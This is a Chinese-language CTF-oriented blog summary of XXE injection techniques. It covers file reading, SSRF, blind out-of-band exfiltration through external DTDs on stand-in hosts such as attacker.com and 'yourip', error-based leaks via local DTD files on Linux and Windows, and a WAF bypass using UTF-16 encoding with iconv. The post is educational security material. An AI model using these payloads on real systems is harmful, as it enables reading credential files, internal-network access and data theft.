XXE Basic Summary

前言

写这篇的原因是 OGEEK 上一道 LOCAL DTD 的题目,查了一些资料,想赛后整理一下,不过发现 K0rz3n 大佬写的实在是太详细了,我补充的内容也多是引用性的内容,大佬们看到这里就不用继续了。

在最前面贴一下 一篇文章带你深入理解漏洞之 XXE 漏洞建议看一遍这篇文章,常见的 XXE 都有介绍,而且很详细。本篇针对 CTF 题目的利用简单总结了一下,另外加了 exploiting-xxe-with-local-dtd-files 的内容,如果这些内容都熟悉的话,那本篇基础总结也就没必要细看了。

背景知识

之前的文章对基础知识部分讲的很详细了,我就不搬过来了,简单强调一点内容。

当请求提交内容符合 XML 格式时,需要注意有没有 XXE(XML External Entity Injection) 漏洞,主要是因为程序在解析输入的 XML 数据时,解析了攻击者伪造的外部实体而产生的。
例如 PHP 中的 simplexml_load 默认情况下会解析外部实体,有 XXE 漏洞的标志性函数为 simplexml_load_string()

在不同的语言中,支持的协议不同:

而在 PHP 中,一些特殊的协议需要安装相应的扩展:

注意:

1.其中从2012年9月开始,Oracle JDK 版本中删除了对 gopher 协议的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持,libxml2.9.1及以后,默认不解析外部实体

XXE

Readfile

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
  ]>
<foo>&xxe;</foo>

但是在读含标签的文件时会因为 XML 解析异常而无法正常显示,如果是 php 环境那么可以使用 php wrapper 来读

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
  ]>
<foo>&xxe;</foo>

如果是其他环境,可以考虑 PHP 环境下使用伪协议来对内容编码,如 php://filter/convert.base64-encode/resource=,或者使用 CDATA 来避免解析。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>
# evil.dtd
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

SSRF

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://secret.dev.company.com/secret_pass.txt" >
]>
<foo>&xxe;</foo>

Blind XXE

OOB Readfile

外部实体可以通过请求内部文件 uri 获得内部文件内容,那么这样的话可以写两个外部参数实体,第一个用 file 协议请求本地文件并将内容保存在参数实体中,第二个用 http 或者 ftp 协议请求自己的服务器并带上文件内容。

<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///flag/hint.txt">  
<!ENTITY % remote SYSTEM "http://yourip/evil.dtd">  
%remote;   
%send;  
]> 
# evil.dtd
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://yourip:2345/%file;'>">
%int;
]> 

Error with Local DTD

首先看一下报错 XXE。

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Contents of ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Response

java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

显而易见,这里利用了文件路径不存在这个报错来将内容打印出来,但是这里仍然使用的远程服务器的 DTD 文件。

但是,当你的服务器和目标服务器之间有防火墙时,就没办法引用 VPS 上的 DTD 文件了。而如果直接将远程 DTD 文件写在请求中

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<message></message>

会爆出错误 Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD. 即我们不能在 DTD 内部包含参数实体 file

在内部DTD集中,参数实体的引用不能存在于标记的声明中(这并不适用于外部的参数实体中)。这意味着,协议本身就必须要求不能在内部的实体声明中引用参数,要想在内部DTD子集中使用外部DTD语法,可以在目标主机上引用本地 DTD 文件,并在其中重新定义参数实体引用,这样就可以避开“实体声明”这个限制。

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

sip-app_1_0.dtd 文件内容:

…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

可以发现我们使用了本地 DTD 文件中的参数实体,并且在请求中对实体进行了重新定义(注意:为了闭合括号加入了额外的内容),这样在请求中对外部实体进行了解析,并且成功触发报错。至于如何寻找 DTD 文件,在知道对方环境的情况下,可以复现环境来搜索 DTD 文件,或者尝试默认的 DTD 文件,这里给出两个默认的文件,其他内容可翻阅引用 2 部分。

Linux

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。

此外:

  1. 针对 Google CTF 出现的一道题目,引用 5 中给出了嵌套实体的构造过程以及在 PHP 环境下可能的 payload。
  2. 针对实际情况中出现的情况,引用 4 中给出了通过利用本地网络服务来加载 DTD 文件的思路。
  3. 额外补充针对 SOAP 请求下的 XXE,可见引用 7 Pass the SOAP 部分。

Filter bypass

在 CSAW2019 中,有一个定位为简单的 XXE 题目,对多个关键词进行了过滤。在这部分我们主要关注 XML 支持的编码方式,并利用这些编码方式来绕过对内容的检测。

我们常用的编码,即 UTF-8 编码,使用了可变长度从而兼容了 ASCII,而 UTF-16 一般是定长的,但也因此不能直接被当做 ASCII 解析。(题外话)与配合 .htaccess 上传 UTF-16 编码 php 的绕过方式类似,这里也可以使用相似方式。

这里直接引用原博主[6]的例子

<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY % xxe SYSTEM "http://evilhost.com/waf.dtd">
    %xxe;
]>
<root>
    <method>test</method>
</root>

可以将如上的 payload 进行转码
cat original.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml

或者使用另一种方法。思路是在同一个文档里同时使用两种编码,从而迷惑 WAF。直接用生成的命令来说明:

echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml
echo '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

头部声明使用 UTF-8 编码,而之后使用 UTF-16 编码。

When a parser reads an encoding from the XML-declaration, the parser immediately switches to it.
Including one when the new encoding isn’t compatible with the encoding in which the XML-declaration was written.
WAFs don’t support parsing of such multi-encoded documents for now.

当解析器读到 XML 声明的编码时,会切换到该编码(继续解析),即使该编码与声明部分所使用的编码不同。与此同时,WAF 一般不支持这种多种编码的 XML 文档。

Ref

1.一篇文章带你深入理解漏洞之 XXE 漏洞
2.exploiting-xxe-with-local-dtd-files
3.PayloadsAllTheThings/XXE Injection
4.从 blind XXE 到读取根目录文件
5.Blind XXE详解与Google CTF一道题分析
6.Evil XML with two encodings
7.A Deep Dive into XXE Injection

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus